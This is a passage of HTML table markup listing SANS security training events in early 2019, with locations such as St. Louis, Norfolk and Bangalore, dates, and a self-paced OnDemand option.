<td>Mar 04, 2019 - Mar 09, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS St. Louis 2019</td>
<td>St. Louis, MO</td>
<td>Mar 11, 2019 - Mar 16, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Norfolk 2019</td>
<td>Norfolk, VA</td>
<td>Mar 18, 2019 - Mar 23, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Bangalore January 2019</td>
<td>OnlineIN</td>
<td>Jan 07, 2019 - Jan 19, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS OnDemand</td>
<td>Books &amp; MP3s Only</td>
<td>Anytime</td>
<td>Self Paced</td>
</tr>
</tbody>
</table>